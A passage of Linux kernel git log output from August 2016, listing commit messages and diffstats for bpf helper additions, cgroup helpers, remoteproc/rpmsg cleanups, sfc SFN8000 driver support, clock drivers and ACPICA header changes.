net/ipv4/netfilter/nf_conntrack_proto_icmp.c | 39 +- net/netfilter/nf_conntrack_core.c | 3 - net/netfilter/nf_conntrack_proto.c | 81 +--- net/netfilter/nf_conntrack_proto_generic.c | 39 +- net/netfilter/nf_conntrack_proto_sctp.c | 85 +--- net/netfilter/nf_conntrack_proto_tcp.c | 127 +----- net/netfilter/nf_conntrack_proto_udp.c | 49 +- 13 files changed, 7 insertions(+), 1009 deletions(-) commit 1c238763aa29bc2345e29a3669983e1e28094397 Merge: 03ff497 8937bd8 Author: David S. Miller Date: Fri Aug 12 21:57:13 2016 -0700 Merge branch 'bpf-improvements' Alexei Starovoitov says: ==================== bpf improvements Two bpf improvements: 1. allow bpf helpers like bpf_map_lookup_elem() access packet data directly for XDP programs 2. enable bpf_get_prandom_u32() for tracing programs ==================== Signed-off-by: David S. Miller commit 8937bd80fce64a25be23c7790459d93f7b1e9b79 Author: Alexei Starovoitov Date: Thu Aug 11 18:17:18 2016 -0700 bpf: allow bpf_get_prandom_u32() to be used in tracing bpf_get_prandom_u32() was initially introduced for socket filters and later requested numberous times to be added to tracing bpf programs for the same reason as in socket filters: to be able to randomly select incoming events. Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/trace/bpf_trace.c | 2 ++ 1 file changed, 2 insertions(+) commit 1633ac0a2e774a9af339b9290ef33cd97a918c54 Author: Aaron Yue Date: Thu Aug 11 18:17:17 2016 -0700 samples/bpf: add verifier tests for the helper access to the packet test various corner cases of the helper function access to the packet via crafted XDP programs. Signed-off-by: Aaron Yue Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller samples/bpf/test_verifier.c | 114 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 110 insertions(+), 4 deletions(-) commit 6841de8b0d03cc9a4e0e928453623c13ee754f77 Author: Alexei Starovoitov Date: Thu Aug 11 18:17:16 2016 -0700 bpf: allow helpers access the packet directly The helper functions like bpf_map_lookup_elem(map, key) were only allowing 'key' to point to the initialized stack area. That is causing performance degradation when programs need to process millions of packets per second and need to copy contents of the packet into the stack just to pass the stack pointer into the lookup() function. Allow such helpers read from the packet directly. All helpers that expect ARG_PTR_TO_MAP_KEY, ARG_PTR_TO_MAP_VALUE, ARG_PTR_TO_STACK assume byte aligned pointer, so no alignment concerns, only need to check that helper will not be accessing beyond the packet range verified by the prior 'if (ptr < data_end)' condition. For now allow this feature for XDP programs only. Later it can be relaxed for the clsact programs as well. Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 61 ++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 43 insertions(+), 18 deletions(-) commit 03ff4979345110d30ecdeab2ae9cb2f451f158bf Author: Wei Yongjun Date: Sat Aug 13 01:54:15 2016 +0000 sit: make function ipip6_valid_ip_proto() static Fixes the following sparse warning: net/ipv6/sit.c:1129:6: warning: symbol 'ipip6_valid_ip_proto' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller net/ipv6/sit.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7cac5303ee006b6092d42daa065bb541bda51dd2 Merge: f9f9ab1 9e6e60e Author: David S. Miller Date: Fri Aug 12 21:49:42 2016 -0700 Merge branch 'bpf-under-cgroup' Sargun Dhillon says: ==================== Add test_current_task_under_cgroup bpf helper and test This patchset includes a helper and an example to determine whether the probe is currently executing in the context of a specific cgroup based on a cgroup bpf map / array. The helper checks the cgroupsv2 hierarchy based on the handle in the map and if the current cgroup is equal to it, or a descendant of it. The helper was tested with the example program, and it was verified that the correct behaviour occurs in the interrupt context. In an earlier version of this patchset I had added an "opensnoop"-like tool, and I realized I was basically reimplementing a lot of the code that already exists in the bcc repo. So, instead I decided to write a test that creates a new mount namespace, mounts up the cgroupv2 hierarchy, and does some basic tests. I used the sync syscall as a canary for these tests because it's a simple, 0-arg syscall. Once this patch is accepted, adding support to opensnoop will be easy. I also added a task_under_cgroup_hierarchy function in cgroups.h, as this pattern is used in a couple places. Converting those can be done in a later patchset. Thanks to Alexei, Tejun, and Daniel for providing review. v1->v2: Clean up v2->v3: Move around ifdefs out of *.c files, add an "integration" test v3->v4: De-genercize arraymap fetching function; rename helper from in_cgroup to under_cgroup (makes much more sense) Split adding cgroups task_under_cgroup_hierarchy function v4->v5: Fix formatting ==================== Signed-off-by: David S. Miller commit 9e6e60ecbd7323d4ac3f98dcdc1bd2c527a736ef Author: Sargun Dhillon Date: Fri Aug 12 08:57:04 2016 -0700 samples/bpf: Add test_current_task_under_cgroup test This test has a BPF program which writes the last known pid to call the sync syscall within a given cgroup to a map. The user mode program creates its own mount namespace, and mounts the cgroupsv2 hierarchy in there, as on all current test systems (Ubuntu 16.04, Debian), the cgroupsv2 vfs is unmounted by default. Once it does this, it proceeds to test. The test checks for positive and negative condition. It ensures that when it's part of a given cgroup, its pid is captured in the map, and that when it leaves the cgroup, this doesn't happen. It populate a cgroups arraymap prior to execution in userspace. This means that the program must be run in the same cgroups namespace as the programs that are being traced. Signed-off-by: Sargun Dhillon Cc: Alexei Starovoitov Cc: Daniel Borkmann Cc: Tejun Heo Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/Makefile | 5 + samples/bpf/bpf_helpers.h | 2 + samples/bpf/test_current_task_under_cgroup_kern.c | 43 +++++++ samples/bpf/test_current_task_under_cgroup_user.c | 145 ++++++++++++++++++++++ 4 files changed, 195 insertions(+) commit 60d20f9195b260bdf0ac10c275ae9f6016f9c069 Author: Sargun Dhillon Date: Fri Aug 12 08:56:52 2016 -0700 bpf: Add bpf_current_task_under_cgroup helper This adds a bpf helper that's similar to the skb_in_cgroup helper to check whether the probe is currently executing in the context of a specific subset of the cgroupsv2 hierarchy. It does this based on membership test for a cgroup arraymap. It is invalid to call this in an interrupt, and it'll return an error. The helper is primarily to be used in debugging activities for containers, where you may have multiple programs running in a given top-level "container". Signed-off-by: Sargun Dhillon Cc: Alexei Starovoitov Cc: Daniel Borkmann Cc: Tejun Heo Acked-by: Tejun Heo Acked-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/uapi/linux/bpf.h | 11 +++++++++++ kernel/bpf/arraymap.c | 2 +- kernel/bpf/verifier.c | 4 +++- kernel/trace/bpf_trace.c | 30 ++++++++++++++++++++++++++++++ 4 files changed, 45 insertions(+), 2 deletions(-) commit aed704b7a634954dc28fe5c4b49db478cf2d96b7 Author: Sargun Dhillon Date: Fri Aug 12 08:56:40 2016 -0700 cgroup: Add task_under_cgroup_hierarchy cgroup inline function to headers This commit adds an inline function to cgroup.h to check whether a given task is under a given cgroup hierarchy. This is to avoid having to put ifdefs in .c files to gate access to cgroups. When cgroups are disabled this always returns true. Signed-off-by: Sargun Dhillon Cc: Alexei Starovoitov Cc: Daniel Borkmann Cc: Tejun Heo Acked-by: Tejun Heo Signed-off-by: David S. Miller include/linux/cgroup.h | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 4851b1b207d63599d14bd1d316423cd054d90860 Author: Bjorn Andersson Date: Fri Aug 12 21:38:44 2016 -0700 rpmsg: Drop prototypes for non-existing functions The (un)register_rpmsg_device() functions never made it to mainline, so drop them for now. Signed-off-by: Bjorn Andersson include/linux/rpmsg.h | 2 -- 1 file changed, 2 deletions(-) commit 14096c13ef5bc0d21819a502f2b71ae17b60e452 Author: Anna, Suman Date: Fri Aug 12 18:42:23 2016 -0500 remoteproc/omap: revise a minor error trace message The omap_mbox_msg_send() is the legacy API for sending a mailbox message. It has been replaced with the mbox_send_message() from the mailbox framework. Revise the failure trace to print a generic failure message instead of referencing the actual function name. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/omap_remoteproc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 334765f45b4db607768b64f4afe9fccf85bd6c0a Author: Anna, Suman Date: Fri Aug 12 18:42:22 2016 -0500 remoteproc/omap: fix various code formatting issues This patch fixes some of the existing checkpatch warnings in OMAP remoteproc code. The fixes are to the following warnings: 1. WARNING: missing space after return type 2. WARNING: Unnecessary space after function pointer name 3. CHECK: Alignment should match open parenthesis Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/omap_remoteproc.c | 2 +- include/linux/platform_data/remoteproc-omap.h | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) commit 9d7814a9a48eb2283f1d93f52b020c0683fecf47 Author: Anna, Suman Date: Fri Aug 12 18:42:21 2016 -0500 remoteproc: print hex numbers with a leading 0x format There are couple of debug statements that are printing hexadecimal numbers without the leading 0x. Fix these and use the standard 0x%x format specifier so that there is no confusion when looking at the traces. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 730f84ce6d59732d070a1dfb0d2591ff110e3e5d Author: Anna, Suman Date: Fri Aug 12 18:42:20 2016 -0500 remoteproc: align code with open parenthesis This patch fixes the existing alignment checkpatch check warnings of the type "Alignment should match open parenthesis" in the remoteproc core source files. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 27 +++++++++++++-------------- drivers/remoteproc/remoteproc_debugfs.c | 20 ++++++++++---------- drivers/remoteproc/remoteproc_elf_loader.c | 6 +++--- drivers/remoteproc/remoteproc_internal.h | 15 ++++++++------- drivers/remoteproc/remoteproc_virtio.c | 10 +++++----- include/linux/remoteproc.h | 4 ++-- 6 files changed, 41 insertions(+), 41 deletions(-) commit f145928d496df35fdca86d8af77fe9610fd0055f Author: Anna, Suman Date: Fri Aug 12 18:42:19 2016 -0500 remoteproc: fix bare unsigned type usage While there is nothing wrong with defining an unsigned integer variable or argument using the bare unsigned type, it is better to use the checkpatch preferred 'unsigned int' type. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_virtio.c | 12 ++++++------ include/linux/remoteproc.h | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) commit 899585ad3964be599bc643f5119193c815e3d1e4 Author: Anna, Suman Date: Fri Aug 12 18:42:18 2016 -0500 remoteproc: use variable names for sizeof() operator Fix the code formatting to use the kernel preferred style of using the actual variables to determize the size using the sizeof() operator. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 56324d7a229486136e0a1e95e935efceecced249 Author: Anna, Suman Date: Fri Aug 12 18:42:17 2016 -0500 remoteproc: fix couple of minor typos Fix couple of minor mis-spelled words in all the remoteproc source files. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/da8xx_remoteproc.c | 2 +- drivers/remoteproc/remoteproc_core.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit b605ed8b2db63aea1e0ee9fce5513ae3ff8c8928 Author: Anna, Suman Date: Fri Aug 12 18:42:16 2016 -0500 remoteproc: use proper format-specifier for printing dma_addr_t The dma_addr_t types can be printed properly using the %pad printk format-specifier, there is no need to resort to the unsigned long long type-casting to deal with different possible type sizes. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit a138c883193a66c3aaee554c8f976f62469c66a7 Author: Anna, Suman Date: Fri Aug 12 18:42:28 2016 -0500 samples/rpmsg: add support for multiple instances The current rpmsg_client_sample is a very simple example and is not designed to handle multiple instances. Add support for multiple instances, so that the same number of pings are sent to each instance. The instances can be on one or multiple remote processors. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson samples/rpmsg/rpmsg_client_sample.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit 211e3a93e5b5933e64ddfb299eee462ac7c7d500 Author: Anna, Suman Date: Fri Aug 12 18:42:27 2016 -0500 rpmsg: use dynamic_hex_dump for hex dump traces There are couple of print_hex_dump traces used in rpmsg code which prints the actual byte messages being transferred between host and the remote processors. These traces are quiet verbose and affects performance, if the appropriate trace level is enabled. These hex dumps are needed rather rarely, but are quite useful when debugging complex IPC corner cases. So, this patch switches these hex dump traces to use the dynamic_hex_dump() API. The hex dump traces are also enabled only when CONFIG_DYNAMIC_DEBUG is enabled. This switch allows flexibility of controlling these traces through dynamic debug, instead of removing them completely. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 0963679c0c30269c17d5891081cf0896f7d92c4b Author: Anna, Suman Date: Fri Aug 12 18:42:26 2016 -0500 rpmsg: align code with open parenthesis This patch fixes most of the existing alignment checkpatch check warnings of the type "Alignment should match open parenthesis" in the virtio rpmsg bus code. A couple of them have been left as is to not exceed the 80-char limit. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 40 +++++++++++++++++++--------------------- include/linux/rpmsg.h | 6 +++--- 2 files changed, 22 insertions(+), 24 deletions(-) commit 8d95b322ba34b158146bc2fa6172304ef13ac232 Author: Anna, Suman Date: Fri Aug 12 18:42:25 2016 -0500 rpmsg: use proper format-specifier for printing dma_addr_t The dma_addr_t types can be printed properly using the %pad printk format-specifier, there is no need to resort to the unsigned long long type-casting to deal with different possible type sizes. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a8bb3fd908309d9a3c01892b5854f82d462d8a3e Author: Anna, Suman Date: Fri Aug 12 18:42:24 2016 -0500 rpmsg: remove pointless OOM prints These types of error prints are superfluous. The system will pick up on OOM issues and let the user know. While at this, fix the usage of using a structure instead of the actual variable in one of the allocations. Signed-off-by: Suman Anna Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 6c49fbe369b0e4c59c7dd459c533cfc21a309552 Author: Lee Jones Date: Wed Jul 20 10:29:35 2016 +0100 rpmsg: virtio_rpmsg_bus: Fix randomly placed semi-colon It should never have been there in the first place. Signed-off-by: Lee Jones Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f9f9ab17268e53b2ca0920c0c0c50f98bd267fe3 Merge: 85be21b b5dcbad Author: David S. Miller Date: Fri Aug 12 20:55:41 2016 -0700 Merge tag 'batadv-next-for-davem-20160812' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== This feature patchset includes the following changes (mostly chronological order): - bump version strings, by Simon Wunderlich - kerneldoc clean up, by Sven Eckelmann - enable RTNL automatic loading and according documentation changes, by Sven Eckelmann (2 patches) - fix/improve interface removal and associated locking, by Sven Eckelmann (3 patches) - clean up unused variables, by Linus Luessing - implement Gateway selection code for B.A.T.M.A.N. V by Antonio Quartulli (4 patches) - rewrite TQ comparison by Markus Pargmann - fix Cocinelle warnings on bool vs integers (by Fenguang Wu/Intels kbuild test robot) and bitwise arithmetic operations (by Linus Luessing) - rewrite packet creation for forwarding for readability and to avoid reference count mistakes, by Linus Luessing - use kmem_cache for translation table, which results in more efficient storing of translation table entries, by Sven Eckelmann - rewrite/clarify reference handling for send_skb_unicast, by Sven Eckelmann - fix debug messages when updating routes, by Sven Eckelmann ==================== Signed-off-by: David S. Miller commit 85be21bd6969d840a1af73ede4ec01dd0e1ecb66 Merge: e3e9652 d95e329 Author: David S. Miller Date: Fri Aug 12 20:42:20 2016 -0700 Merge branch 'sfc-SFN8000-support-improvements' Bert Kenward says: ==================== sfc: SFN8000 support improvements This series improves support for the recently released SFN8000 series of adapters. Specifically, it retrieves interrupt moderation timer settings directly from the adapter and uses those settings. It also uses a new event queue initialisation interface, allowing specification of a performance objective rather than enabling individual flags. ==================== Signed-off-by: David S. Miller commit d95e329a55baaea8c00d1b3e0ce22c974d447524 Author: Bert Kenward Date: Thu Aug 11 13:02:36 2016 +0100 sfc: get timer configuration from adapter On SFN8000 series adapters the MC provides a method to get the timer quantum and the maximum timer setting. We revert to the old values if the new call is unavailable. Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 142 +++++++++++++++++++++++++++------- drivers/net/ethernet/sfc/efx.c | 9 ++- drivers/net/ethernet/sfc/falcon.c | 2 + drivers/net/ethernet/sfc/net_driver.h | 2 + drivers/net/ethernet/sfc/siena.c | 3 + 5 files changed, 125 insertions(+), 33 deletions(-) commit 539de7c5240a257c9028b3063873170a6867b159 Author: Bert Kenward Date: Thu Aug 11 13:02:09 2016 +0100 sfc: set interrupt moderation via MCDI SFN8000-series NICs require a new method of setting interrupt moderation, via MCDI. This is indicated by a workaround flag. This new MCDI command takes an explicit time value rather than a number of ticks. It therefore makes sense to also store the moderation values in terms of time, since that is what the ethtool interface is interested in. Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 38 +++++++++++---- drivers/net/ethernet/sfc/efx.c | 89 ++++++++++++++++++---------------- drivers/net/ethernet/sfc/efx.h | 2 + drivers/net/ethernet/sfc/falcon.c | 7 ++- drivers/net/ethernet/sfc/net_driver.h | 10 ++-- drivers/net/ethernet/sfc/nic.h | 2 + drivers/net/ethernet/sfc/ptp.c | 2 +- drivers/net/ethernet/sfc/siena.c | 11 +++-- drivers/net/ethernet/sfc/workarounds.h | 4 ++ 9 files changed, 103 insertions(+), 62 deletions(-) commit a995560a279628bcc00a0524ab068c39a3a184fb Author: Bert Kenward Date: Thu Aug 11 13:01:54 2016 +0100 sfc: use new performance based event queue init Rather than explicitly specifying flags we can now specify a desired performance target to the firmware, ie higher throughput or lower latency. For now we use the default "auto" configuration. Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 43 +++++++++++++++++++++++++++++------------ 1 file changed, 31 insertions(+), 12 deletions(-) commit ca889a052c20cad171ff5161c030959e47e84666 Author: Bert Kenward Date: Thu Aug 11 13:01:35 2016 +0100 sfc: retrieve second word of datapath capabilities Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 10 ++++++++-- drivers/net/ethernet/sfc/nic.h | 3 +++ 2 files changed, 11 insertions(+), 2 deletions(-) commit 7014d7f672f7dc180d1386239c4f0c455e405ed9 Author: Bert Kenward Date: Thu Aug 11 13:01:21 2016 +0100 sfc: allow asynchronous MCDI without completion function Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/mcdi.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit d29e33d6d087ef66a70f94791504579366cf3d09 Author: Bert Kenward Date: Thu Aug 11 13:01:01 2016 +0100 sfc: update MCDI protocol headers Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/mcdi_pcol.h | 530 ++++++++++++++++++++++++++++++++++- 1 file changed, 515 insertions(+), 15 deletions(-) commit e3e9652a43207561eaec6085a8272fe11b283286 Author: Sean Wang Date: Thu Aug 11 17:51:00 2016 +0800 net: ethernet: mediatek: enhance the locking using the lightweight ones Since these critical sections protected by page_lock are all entered from the user context or bottom half context, they can be replaced with the spin_lock() or spin_lock_bh instead of spin_lock_irqsave(). Signed-off-by: Sean Wang Acked-by: John Crispin Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) commit 7752f09cb1e8c4af2910e4fb0220c44ae9ea749e Author: Grzegorz Jaszczyk Date: Thu Jul 21 12:48:10 2016 +0200 clk: mvebu: armada-39x: add clk description for supported interfaces Both SATA and second USB3.0 interface are supported in Armada-39x SoC family. Add necessary clk description, so both xhci and sata drivers can be correctly initialized. The binding documentation has also been updated accordingly. Signed-off-by: Grzegorz Jaszczyk Acked-by: Rob Herring Reviewed-by: Thomas Petazzoni Signed-off-by: Stephen Boyd Documentation/devicetree/bindings/clock/mvebu-gated-clock.txt | 2 ++ drivers/clk/mvebu/armada-39x.c | 2 ++ 2 files changed, 4 insertions(+) commit 6bd483c0367f1e1c9d4e970d6ccdadf53d571916 Author: Bob Moore Date: Thu Aug 4 16:45:54 2016 +0800 ACPICA: Update version to 20160729 ACPICA commit 1e997ab9a5b939533374fd567681f881cb97c4c7 Version 20160729. Link: https://github.com/acpica/acpica/commit/1e997ab9 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki include/acpi/acpixf.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8a23133c7a2afc49d97b5b27caefe6847d32599e Author: Masahiro Yamada Date: Tue Jul 19 16:28:47 2016 +0900 clk: use ERR_CAST() for __clk_create_clk() This code is clear enough, but the intention will be even clearer with this. Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd drivers/clk/clk.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 34f3a91b3bf3e886c83309fc9f9c27765c27e16d Author: Lv Zheng Date: Thu Aug 4 16:45:47 2016 +0800 ACPICA: OSL: Fix a regression that old GCC requires a workaround for strchr() ACPICA commit be836c36454a624a4fb1d17234080ef8c07993fc There is a GCC false-warning issue on specific GCC versions that "strchr" will be preprocessed and extracted to contain !__buildin_constant_p() checker and it surely is a constant logical value "1" for strchr() arguments. Then -Wlogical-op errorneously reports a warning. The regression is triggered after the standard headers are re-ordered in the EFI porting task. This patch fixes this regression by moving the workaround to a new position after including all other standard headers. Link: https://github.com/acpica/acpica/commit/be836c36 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenvex.h | 5 +++- include/acpi/platform/acgcc.h | 11 -------- include/acpi/platform/acgccex.h | 58 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 62 insertions(+), 12 deletions(-) commit 9fa1cebdbfff3db8953cebca8ee327d75edefc40 Author: Lv Zheng Date: Thu Aug 4 16:45:40 2016 +0800 ACPICA: OSL: Cleanup the inclusion order of the compiler-specific headers ACPICA commit a760a98ec84b1ec782e0bff5f6612af6fb89c10c Originally compiler specific headers are included by the host-specific headers. This makes build configuration management very inconvenient. And many inclusion order issues can be hidden accross different host OSes. It will then likely that some host builds will be broken just because of fixing some inclusion order issues for other host builds. This patch splits the compiler-specific header inclusions out of the host-specific headers so that compiler-specific inclusion order issues will not get entangled in the host-specific inclusion orders. Note that intel compiler defines __GNUC__, so this patch contains special handling because acintel.h and acgcc.h should be mutual exclusive. Link: https://github.com/acpica/acpica/commit/a760a98e Link: https://bugs.acpica.org/show_bug.cgi?id=1303 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenv.h | 13 ++++++++++++- include/acpi/platform/acenvex.h | 8 +++++--- include/acpi/platform/aclinux.h | 4 ---- 3 files changed, 17 insertions(+), 8 deletions(-) commit d2d48eae4639f7d74e9d91e7698f566bdbd8cdd6 Author: Lv Zheng Date: Thu Aug 4 16:45:32 2016 +0800 ACPICA: EFI: Port acpidump to EDK2 environment ACPICA commit 790b8bae858d6d97da6099c9f8485d4760035a0c Linux kernel is not affected by this change. Link: https://github.com/acpica/acpica/commit/790b8bae Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenv.h | 2 +- include/acpi/platform/acenvex.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 911a9b842874f52429d0b0a420bf0fed22117611 Author: Lv Zheng Date: Thu Aug 4 16:45:22 2016 +0800 ACPICA: Applications: Fix a potential issue that help messages may be dumped to acpi_gbl_debug_file ACPICA commit d1b7372c7eb89cdba3d3c239fb07e2fdc5abf880 This is a regression fix, restoring usage macro to its original implementation. There is an issue for usage macros, if an command line option changed acpi_gbl_debug_file, then the follow up usage message may be errornously dumped to the debug file. This is just a bug in theory, because currently acpi_gbl_debug_file can only be modified by acpibin and acpiexec. And this will not trigger such issue because: 1. For acpibin, acpi_gbl_debug_file will be modified by "-t" option and the program exits after processing this option without dumping help message or other error options. 2. For acpiexec, acpi_gbl_debug_file will only be modified by the open command, which happens after parsing the command line options, so no help message will be dumped into the debug file. But maintaining this logic is difficult, so this patch modifies acpi_os_printf() into printf() for usage macros so that the help messages are ensured to be dumped to the stdout. Lv Zheng. Link: https://github.com/acpica/acpica/commit/d1b7372c Link: https://bugs.acpica.org/show_bug.cgi?id=1142 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acapps.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 435779fe133626b4e364b320ebc00aac8a0e6047 Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:34 2016 +0200 clk: fixed-rate: Convert into a module platform driver Adds support for fixed-rate clock providers which have not been enabled via of_clk_init(). This is required by Device trees overlays that introduce clocks providers. Signed-off-by: Ricardo Ribalda Delgado [sboyd@codeaurora.org: Make new private function static, don't check clk for NULL when unregistering in driver remove] Signed-off-by: Stephen Boyd drivers/clk/clk-fixed-rate.c | 71 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 64 insertions(+), 7 deletions(-) commit 971451b3b15dc6104fad79fbe55ea3995ea9911f Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:33 2016 +0200 clk: fixed-factor: Convert into a module platform driver Adds support for fixed-factor clock providers which have not been enabled via of_clk_init(). This is required by Device trees overlays that introduce clocks providers. Signed-off-by: Ricardo Ribalda Delgado [sboyd@codeaurora.org: Make new private function static, don't check clk for NULL when unregistering in driver remove] Signed-off-by: Stephen Boyd drivers/clk/clk-fixed-factor.c | 73 +++++++++++++++++++++++++++++++++++++----- 1 file changed, 65 insertions(+), 8 deletions(-) commit dd99cbcca4fea59ec5e93cf160cb4b939306f5c9 Author: Lv Zheng Date: Thu Aug 4 16:45:13 2016 +0800 ACPICA: Clib: Eliminate acpi_os_XXXFile()/acpi_log_error and link clibrary fxxx()/errno/perror() instead ACPICA commit 189429fb7d06cdb89043ae32d615faf553467f1d This patch follows new ACPICA design, eliminates old portable OSLs, and implements fopen/fread/fwrite/fclose/fseek/ftell for GNU EFI environment. This patch also eliminates acpi_log_error(), convering them into fprintf(stderr)/perror(). Lv Zheng. Link: https://github.com/acpica/acpica/commit/189429fb Link: https://bugs.acpica.org/show_bug.cgi?id=1302 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/utdebug.c | 24 --- drivers/acpi/acpica/utprint.c | 5 +- include/acpi/acpiosxf.h | 43 +--- include/acpi/acpixf.h | 3 - include/acpi/actypes.h | 9 - tools/power/acpi/common/cmfsize.c | 12 +- tools/power/acpi/common/getopt.c | 2 +- .../acpi/os_specific/service_layers/oslibcfs.c | 217 --------------------- tools/power/acpi/tools/acpidump/Makefile | 1 - tools/power/acpi/tools/acpidump/apdump.c | 65 +++--- tools/power/acpi/tools/acpidump/apfiles.c | 48 ++--- tools/power/acpi/tools/acpidump/apmain.c | 31 +-- 12 files changed, 89 insertions(+), 371 deletions(-) commit f173a7750eb188fd7d888d5950d58454bcfbd09b Author: Lv Zheng Date: Thu Aug 4 16:45:06 2016 +0800 ACPICA: Clib: Add -nostdinc support for EFI layer ACPICA commit d261d40ea168f8e4c4e3986de720b8651c4aba1c This patch adds sprintf()/snprintf()/vsnprintf()/printf()/vfprintf() support for OSPMs that have ACPI_USE_SYSTEM_CLIBRARY defined but do not have ACPI_USE_STANDARD_HEADERS defined. -iwithprefix include is required to include which contains compiler specific implementation of vargs when -nostdinc is specified. -fno-builtin is required for GCC to avoid optimization performed printf(). This optimization cannot be automatically disabled by specifying -nostdlib. Please refer to the first link below for the details. However, the build option changes do not affect Linux kernel builds and are not included. Lv Zheng. Link: http://www.ciselant.de/projects/gcc_printf/gcc_printf.html Link: https://github.com/acpica/acpica/commit/d261d40e Link: https://bugs.acpica.org/show_bug.cgi?id=1302 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acutils.h | 19 ------ drivers/acpi/acpica/utbuffer.c | 30 ++++----- drivers/acpi/acpica/utdebug.c | 2 +- drivers/acpi/acpica/utprint.c | 104 ++++++++++++++++++++++++++---- tools/power/acpi/tools/acpidump/apdump.c | 6 +- tools/power/acpi/tools/acpidump/apfiles.c | 3 +- 6 files changed, 109 insertions(+), 55 deletions(-) commit e323c02dee59af7da65637852f6fa95551325d80 Author: Lv Zheng Date: Thu Aug 4 16:44:59 2016 +0800 ACPICA: MSVC9: Fix inclusion order issue ACPICA commit 9bb265c2afb9910e46f820d6759648580edabd09 When /Za is specified, headers of some Windows SDKs contain bugs breaking VC builds, and MSVC9's default SDK is one of such header-buggy library. In order to solve this issue, many VC developers stop using /Za. However we've been asked to have this fixed without removing /Za. In MSVC9 default SDK, this issue can be fixed by restricting to be the last standard file included by every source file in the projects. This patch thus moves inclusion to "acapps.h", so that this issue can be fixed by ensuring that "acapps.h" is always the last standard file included by all of the ACPICA source files. This is in fact also a useful cleanup because applications can only include one header (e.x., acpidump.h) instead of including acapps.h separately. Lv Zheng. Except some harmless header inclusion re-ordering, Linux kernel is not affected by this change. Link: https://github.com/acpica/acpica/commit/9bb265c2 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki 